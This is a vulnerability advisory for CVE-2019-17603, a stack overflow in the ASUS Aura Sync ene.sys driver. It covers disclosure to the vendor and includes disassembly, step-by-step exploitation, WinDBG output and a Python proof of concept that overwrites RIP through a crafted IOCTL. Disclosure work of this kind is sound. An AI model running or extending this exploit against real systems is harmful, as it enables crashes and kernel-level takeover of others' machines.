0x01: Details

Advisory:               ASUS Aura Sync 1.07.71
                        ene.sys Stack-Based Buffer Overflow
Advisory ID:            DH-ADV-2019-001
CVE ID:                 CVE-2019-17603
Revision:               1.1 
Last Modified:          2019/10/14 
Date Reported:          2019/09/08
Advisory Published:     2020/06/01
Affected Software:      Asus Aura Sync
Remotely Exploitable:   No
Locally Exploitable:    Yes 
Vendor URL:             https://www.asus.com/

0x02: Vulnerability details

The kernel driver ene.sys shipped with ASUS Aura Sync version 1.07.71 contains a vulnerability in the code that handles IOCTL requests. Exploitation of this vulnerability can result in:

  • local denial of service attacks (system crash due to a kernel panic), or
  • local execution of arbitrary code at the kernel level (complete system compromise)

The issue can be triggered by sending a specially crafted IOCTL request. For a successful attack no special user rights are required to exploit the vulnerability.

0x03: Technical description

The IOCTL call 0x80102044, 0x80102050 and 0x80102054 of the ene.sys kernel driver accepts user supplied input that doesn’t get validated. In consequence it is possible to fill different kernel registers with arbitrary values. This can be exploited to control the kernel execution flow and to execute arbitrary code at the kernel level.

Disassembly of ene.sys (Windows 10 64-bit version) for the IOCTL call 0x80102050:

[...]
.text:00000000000111AA             cmp     r11d, 80102050h
[...]
.text:000000000001132B             lea     rcx, [rsp+68h+Dst] ; Dst
.text:0000000000011330             mov     r8, rbx            ; Size <- [1]
.text:0000000000011333             mov     rdx, rbp           ; Src  <- [2]
.text:0000000000011336             call    memmove            ; CALL <- [3]
.text:000000000001133B             movzx   r11d, byte ptr [rsp+68h+Dst+6]
.text:0000000000011341             sub     r11d, 1
.text:0000000000011345             jz      short loc_1136D
[...]

[1] The user controlled buffer size gets copied into the R8 register and the content of the buffer [2] gets copied into the RDX, as described in the __fastcall convention defined, without any input validation.

The memmove function at [3] gets called with the following parameters:

memmove(RCX, RDX, R8);
         |    |    |
        dst   |    |
             src  len
  • RCX (dst): defined through the control flow
  • RDX (src): points to user controlled IOCTL input data/buffer
  • R8 (len): depending on the send buffer

Vulnerability

If an attacker were able to send a large buffer (48 bytes for IOCTL 0x80102050) the memmove() call would lead to an exploitable memory corruption condition.

Exploitation

STEP 1: Use one of the IOCTLs supported by ene.sys to move a controlable buffer to kernel space address and overwrite appropriate registers and return addresses [4].

STEP 2: Send a request to the vulnerable IOCTL. The address stored at the end of offset 0x30 will overwrite the return address and lead to an exploitable memory corruption condition (RIP is overwritten with an controlable value)

Example for an exploitable code path:

.text:0000000000011487             mov     ebx, [rdi+30h]
[...]
.text:00000000000114A1             lea     r11, [rsp+68h+var_8]
.text:00000000000114A6             mov     eax, ebx
.text:00000000000114A8             mov     rbx, [r11+10h]
.text:00000000000114AC             mov     rbp, [r11+20h]
.text:00000000000114B0             mov     rsi, [r11+28h]
.text:00000000000114B4             mov     rsp, r11
.text:00000000000114B7             pop     rdi
.text:00000000000114B8             retn                    ; Trigger <- [4]
[...]

In WinDBG (After the exploit is executed):

ene+0x14b8:
fffff801`198d14b8 c3              ret <- [4]
1: kd> t
00000000`deadbeef ??              ??? <- [5]
1: kd> r
rax=00000000c000000d rbx=ffffa981e29b1e90 rcx=151b9b80a8c50000
rdx=0000000000000001 rsi=0000000000000001 rdi=4141414141414141
rip=00000000deadbeef rsp=fffffd030b8bf7a0 rbp=0000000000000002
 r8=0000000000000008  r9=0000000000000065 r10=ffffa981df102e60
r11=fffffd030b8bf790 r12=0000000000000000 r13=0000000000000000
r14=ffffa981e5e80d60 r15=ffffa981e2f84920
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b          efl=00040286
00000000`deadbeef ??              ???

[4] The user supplied buffer [2] is used as a parameter for memmove which will overwrite appropriate registers and stack addresses. As a result, the last address on the top of the stack holdes the address [5] of the user supplied buffer.

In this example the stack was filled with capital ‘A’s and 0xdeadbeef (RIP). An attacker with control of the RIP register would be able to compromise the complete system and execute arbitrary code at the kernel level.

Duplicate the crash

Prerequisites - Debugger and Debuggee

  • STEP 1: Install ASUS Aura sync version V1.07.71 (Debuggee);
  • STEP 2: Execute the Proof-of-Concept (PoC) (Debuggee);
  • STEP 3: Set a breakpoint to: ene+0x14b8 (Debugger)
!process 0 0 python.exe            <- PROCCESSID of the running process 
ba e1 /p ${PROCCESSID} ene+0x14b8
g
  • STEP 4: Press enter (Debuggee); The debugger stops at ene+0x14b8 press “t” to execute the next instruction
  • STEP 5: RIP is overwritten with 0xdeadbeef

0x04: Proof-of-Concept (PoC)

#!/usr/bin/python

from ctypes import *
import struct
import sys

kernel32 = windll.kernel32
ntdll = windll.ntdll
NULL = 0x00

def run():
    handle = kernel32.CreateFileA("\\\\.\\EneIo", 0xC0000000, 0, None,
                                  0x3, 0, None)
    if not handle or handle == -1:
        sys.exit("[-] Error getting device handle")

    shellcode = struct.pack("<Q", 0xdeadbeef) # RIP == 0xdeadbeef
    buf = "A" * 56 + shellcode

    raw_input("Press Enter to Trigger Vuln")
    driver = kernel32.DeviceIoControl(handle, 0x80102040, buf, len(buf),
                                      NULL, NULL, 0, NULL)
    if not driver or driver == -1:
        sys.exit("[-] Error")

if __name__ == "__main__":
    run()

0x05: Affected Products

This vulnerability affects the following product:

  • ASUS Aura Sync <= 1.07.71

It is very likely that prior and subsequent versions of products that use the “ASUS Aura Sync” ene.sys kernel driver are also affected by the vulnerability.

0x06: Timeline

  • 2019/09/08: First contact via E-Mail (security@asus.com) to negotiate a security channel;
  • 2019/09/12: ASUS Security team responses and ask for more information;
  • 2019/09/12: Vulnerability initially reported to ASUS Security team;
  • 2019/09/18: ASUS Security team confirm the vulnerability;
  • 2019/10/13: Request a CVE id via MITRE; CVE-2019-17603
  • 2019/10/15: Sent an updated PoC that runs on Windows 10 x64; asked for an update;
  • 2020/01/10: Received confirmation that a patch is being released (v1.07.79);

0x07: Resources